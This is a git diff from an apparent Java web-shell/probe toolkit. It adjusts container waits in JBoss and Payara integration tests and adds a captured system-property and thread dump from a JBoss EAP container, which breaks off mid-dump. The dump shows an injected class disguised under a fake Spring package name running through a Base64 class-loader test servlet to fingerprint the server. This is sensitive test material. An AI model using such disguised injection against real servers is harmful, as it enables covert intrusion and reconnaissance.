.waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); + @BeforeAll + static void setup() { + container.waitingFor(Wait.forLogMessage(".*JMXService.*", 1)); + } + @Test void testJDK() { String url = getUrl(container); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara620222ContainerTest.java index e6265786..a6056d33 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara620222ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara620222ContainerTest.java @@ -6,6 +6,7 @@ import com.reajason.javaweb.integration.probe.DetectionTool; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.Test; import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; @@ -35,6 +36,11 @@ public class Payara620222ContainerTest { .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) .withExposedPorts(8080); + @BeforeAll + static void setup() { + container.waitingFor(Wait.forHttp("/app/test")); + } + @Test void testJDK() { String url = getUrl(container); diff --git a/integration-test/src/test/resources/infos/JbossEap81ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/JbossEap81ContainerTestBasicInfo.txt new file mode 100644 index 00000000..1a725093 --- /dev/null +++ b/integration-test/src/test/resources/infos/JbossEap81ContainerTestBasicInfo.txt @@ -0,0 +1,1330 @@ +# Generated At 2025-12-06 09:02:21 +SystemProps: +[Standalone]: +java.specification.version: 17 +logging.configuration: file:/usr/local/jboss/standalone/configuration/logging.properties +sun.jnu.encoding: UTF-8 +java.class.path: /usr/local/jboss/jboss-modules.jar +jakarta.security.jacc.PolicyConfigurationFactory.provider: org.wildfly.security.authz.jacc.ElytronPolicyConfigurationFactory +java.vm.vendor: Eclipse Adoptium +sun.arch.data.model: 64 +org.jboss.resolver.warning: true +java.vendor.url: https://adoptium.net/ +user.timezone: Etc/UTC +java.vm.specification.version: 17 +os.name: Linux +sun.java.launcher: SUN_STANDARD +user.country: US +sun.boot.library.path: /opt/java/openjdk/lib +sun.java.command: /usr/local/jboss/jboss-modules.jar -mp /usr/local/jboss/modules org.jboss.as.standalone -Djboss.home.dir=/usr/local/jboss -Djboss.server.base.dir=/usr/local/jboss/standalone -b 0.0.0.0 +jdk.debug: release +sun.cpu.endian: little +jboss.server.config.dir: /usr/local/jboss/standalone/configuration +user.home: /root +user.language: en +java.specification.vendor: Oracle Corporation +jboss.qualified.host.name: 8187c7b35c9f +java.naming.factory.url.pkgs: org.jboss.as.naming.interfaces +java.version.date: 2025-04-15 +java.home: /opt/java/openjdk +file.separator: / +jboss.server.persist.config: true +java.vm.compressedOopsMode: 32-bit +line.separator: + +jboss.server.data.dir: /usr/local/jboss/standalone/data +java.vm.specification.vendor: Oracle Corporation +java.specification.name: Java Platform API Specification +jboss.server.base.dir: /usr/local/jboss/standalone +java.awt.headless: true +org.apache.xml.security.ignoreLineBreaks: true +java.protocol.handler.pkgs: org.jboss.net.protocol|org.jboss.vfs.protocol +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 17.0.15+6 +java.net.preferIPv4Stack: true +user.name: root +jboss.home.dir: /usr/local/jboss +path.separator: : +os.version: 6.17.8-orbstack-00308-g8f9c941121b1 +java.runtime.name: OpenJDK Runtime Environment +file.encoding: UTF-8 +sun.nio.ch.bugLevel: +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.version: Temurin-17.0.15+6 +jdk.serialFilter: maxbytes=10485760;maxdepth=128;maxarray=100000;maxrefs=300000 +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +jboss.server.log.dir: /usr/local/jboss/standalone/log +java.io.tmpdir: /tmp +org.jboss.boot.log.file: /usr/local/jboss/standalone/log/server.log +jboss.modules.system.pkgs: org.jboss.byteman +java.version: 17.0.15 +user.dir: /usr/local/jboss +os.arch: aarch64 +java.vm.specification.name: Java Virtual Machine Specification +javax.management.builder.initial: org.jboss.as.jmx.PluggableMBeanServerBuilder +jboss.bind.address: 0.0.0.0 +jboss.host.name: 8187c7b35c9f +native.encoding: UTF-8 +java.util.logging.manager: org.jboss.logmanager.LogManager +java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +module.path: /usr/local/jboss/modules +jboss.server.name: 8187c7b35c9f +java.vm.info: mixed mode, sharing +java.vendor: Eclipse Adoptium +java.vm.version: 17.0.15+6 +java.specification.maintenance.version: 1 +sun.io.unicode.encoding: UnicodeLittle +jboss.server.temp.dir: /usr/local/jboss/standalone/tmp +jboss.node.name: 8187c7b35c9f +java.class.version: 61.0 + +=========================================== + +ThreadStacks: +"MSC service thread 1-3" #20 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@17ecd5d + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + +"IdleRemover" #130 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f6a2c00 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.15/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1764) + at org.jboss.ironjacamar.impl@3.0.14.Final-redhat-00001//org.jboss.jca.core.connectionmanager.pool.idle.IdleRemover$IdleRemoverRunner.run(IdleRemover.java:261) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + +"ServerService Thread Pool -- 13" #40 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Transaction Reaper" #136 daemon [TIMED_WAITING] on com.arjuna.ats.arjuna.coordinator.TransactionReaper@43e2acf4 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/java.lang.Object.wait(Native Method) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.coordinator.ReaperThread.run(ReaperThread.java:63) + +"ServerService Thread Pool -- 35" #62 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 41" #70 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 8" #35 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-12" #118 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 77" #144 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 53" #82 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"DeploymentScanner-threads - 1" #65 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@348195f0 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.15/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.15/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.15/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 25" #52 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-5" #111 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:563) + +"ServerService Thread Pool -- 32" #59 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Timer-0" #105 [WAITING] on java.util.TaskQueue@ab5b54c + java.lang.Thread.State: WAITING + at java.base@17.0.15/java.lang.Object.wait(Native Method) + at java.base@17.0.15/java.lang.Object.wait(Object.java:338) + at java.base@17.0.15/java.util.TimerThread.mainLoop(Timer.java:537) + at java.base@17.0.15/java.util.TimerThread.run(Timer.java:516) + +"ServerService Thread Pool -- 68" #100 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"DestroyJavaVM" #27 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"ServerService Thread Pool -- 14" #41 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-11" #117 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"DeploymentScanner-threads - 2" #66 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@348195f0 + java.lang.Thread.State: WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.15/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.15/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.15/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.15/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.15/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@17.0.15/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default task-1" #152 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/java.lang.Thread.dumpThreads(Native Method) + at java.base@17.0.15/java.lang.Thread.getAllStackTraces(Thread.java:1671) + at org.springframework.nSmLh.ErrorHandler.toString(BasicInfoPrinter.java:26) + at io.undertow.servlet@2.3.18.SP1-redhat-00001//io.undertow.servlet.spec.ServletPrintWriter.print(ServletPrintWriter.java:443) + at io.undertow.servlet@2.3.18.SP1-redhat-00001//io.undertow.servlet.spec.ServletPrintWriterDelegate.print(ServletPrintWriterDelegate.java:157) + at deployment.app.war//jakarta.Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:29) + at io.undertow.servlet@2.3.18.SP1-redhat-00001//io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:74) + at io.undertow.servlet@2.3.18.SP1-redhat-00001//io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:129) + at deployment.app.war//jakarta.EmptyFilter.doFilter(EmptyFilter.java:15) + at io.undertow.servlet@2.3.18.SP1-redhat-00001//io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet@2.3.18.SP1-redhat-00001//io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at io.undertow.servlet@2.3.18.SP1-redhat-00001//io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:84) + at io.undertow.servlet@2.3.18.SP1-redhat-00001//io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62) + at io.undertow.servlet@2.3.18.SP1-redhat-00001//io.undertow.servlet.handlers.ServletChain$1.handleRequest(ServletChain.java:68) + at io.undertow.servlet@2.3.18.SP1-redhat-00001//io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) + at org.wildfly.security.elytron-web.undertow-server@4.1.2.Final-redhat-00001//org.wildfly.elytron.web.undertow.server.ElytronRunAsHandler.lambda$handleRequest$1(ElytronRunAsHandler.java:68) + at org.wildfly.security.elytron-web.undertow-server@4.1.2.Final-redhat-00001//org.wildfly.elytron.web.undertow.server.ElytronRunAsHandler$$Lambda$902/0x000000b0018e9000.call(Unknown Source) + at org.wildfly.security.elytron-base@2.6.4.Final-redhat-00001//org.wildfly.security.auth.server.Scoped$$Lambda$903/0x000000b0018bb6d0.apply(Unknown Source) + at org.wildfly.security.elytron-base@2.6.4.Final-redhat-00001//org.wildfly.security.auth.server.Scoped$$Lambda$904/0x000000b0018bb970.apply(Unknown Source) + at org.wildfly.security.elytron-base@2.6.4.Final-redhat-00001//org.wildfly.security.auth.server.FlexibleIdentityAssociation.runAsFunctionEx(FlexibleIdentityAssociation.java:103) + at org.wildfly.security.elytron-base@2.6.4.Final-redhat-00001//org.wildfly.security.auth.server.Scoped.runAsFunctionEx(Scoped.java:161) + at org.wildfly.security.elytron-base@2.6.4.Final-redhat-00001//org.wildfly.security.auth.server.Scoped.runAs(Scoped.java:73) + at org.wildfly.security.elytron-web.undertow-server@4.1.2.Final-redhat-00001//org.wildfly.elytron.web.undertow.server.ElytronRunAsHandler.handleRequest(ElytronRunAsHandler.java:67) + at io.undertow.servlet@2.3.18.SP1-redhat-00001//io.undertow.servlet.handlers.RedirectDirHandler.handleRequest(RedirectDirHandler.java:68) + at io.undertow.servlet@2.3.18.SP1-redhat-00001//io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:117) + at io.undertow.servlet@2.3.18.SP1-redhat-00001//io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57) + at io.undertow.core@2.3.18.SP1-redhat-00001//io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.core@2.3.18.SP1-redhat-00001//io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46) + at io.undertow.servlet@2.3.18.SP1-redhat-00001//io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64) + at io.undertow.core@2.3.18.SP1-redhat-00001//io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43) + at org.wildfly.security.elytron-web.undertow-server-servlet@4.1.0.Final//org.wildfly.elytron.web.undertow.server.servlet.CleanUpHandler.handleRequest(CleanUpHandler.java:38) + at io.undertow.core@2.3.18.SP1-redhat-00001//io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at org.wildfly.extension.undertow@8.1.0.GA-redhat-00015//org.wildfly.extension.undertow.security.jacc.JACCContextIdHandler.handleRequest(JACCContextIdHandler.java:44) + at io.undertow.core@2.3.18.SP1-redhat-00001//io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at org.wildfly.extension.undertow@8.1.0.GA-redhat-00015//org.wildfly.extension.undertow.deployment.GlobalRequestControllerHandler.handleRequest(GlobalRequestControllerHandler.java:51) + at io.undertow.servlet@2.3.18.SP1-redhat-00001//io.undertow.servlet.handlers.SendErrorPageHandler.handleRequest(SendErrorPageHandler.java:52) + at io.undertow.core@2.3.18.SP1-redhat-00001//io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.servlet@2.3.18.SP1-redhat-00001//io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:276) + at io.undertow.servlet@2.3.18.SP1-redhat-00001//io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:135) + at io.undertow.servlet@2.3.18.SP1-redhat-00001//io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:132) + at io.undertow.servlet@2.3.18.SP1-redhat-00001//io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1.call(ServletRequestContextThreadSetupAction.java:48) + at io.undertow.servlet@2.3.18.SP1-redhat-00001//io.undertow.servlet.core.ContextClassLoaderSetupAction$1.call(ContextClassLoaderSetupAction.java:43) + at org.wildfly.extension.undertow@8.1.0.GA-redhat-00015//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1421) + at org.wildfly.extension.undertow@8.1.0.GA-redhat-00015//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda$862/0x000000b0018a4230.call(Unknown Source) + at org.wildfly.extension.undertow@8.1.0.GA-redhat-00015//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1421) + at org.wildfly.extension.undertow@8.1.0.GA-redhat-00015//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda$862/0x000000b0018a4230.call(Unknown Source) + at org.wildfly.extension.undertow@8.1.0.GA-redhat-00015//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1421) + at org.wildfly.extension.undertow@8.1.0.GA-redhat-00015//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda$862/0x000000b0018a4230.call(Unknown Source) + at org.wildfly.extension.undertow@8.1.0.GA-redhat-00015//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1421) + at org.wildfly.extension.undertow@8.1.0.GA-redhat-00015//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda$862/0x000000b0018a4230.call(Unknown Source) + at io.undertow.servlet@2.3.18.SP1-redhat-00001//io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:256) + at io.undertow.servlet@2.3.18.SP1-redhat-00001//io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:101) + at io.undertow.core@2.3.18.SP1-redhat-00001//io.undertow.server.Connectors.executeRootHandler(Connectors.java:395) + at io.undertow.core@2.3.18.SP1-redhat-00001//io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:896) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.ContextClassLoaderSavingRunnable.run(ContextClassLoaderSavingRunnable.java:35) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor.safeRun(EnhancedQueueExecutor.java:1990) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.doRunTask(EnhancedQueueExecutor.java:1486) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1377) + at org.jboss.xnio@3.8.16.Final-redhat-00001//org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1282) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + +"default I/O-2" #108 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:563) + +"ServerService Thread Pool -- 78" #145 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-21" #127 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 33" #60 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"XNIO-1 I/O-1" #132 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at 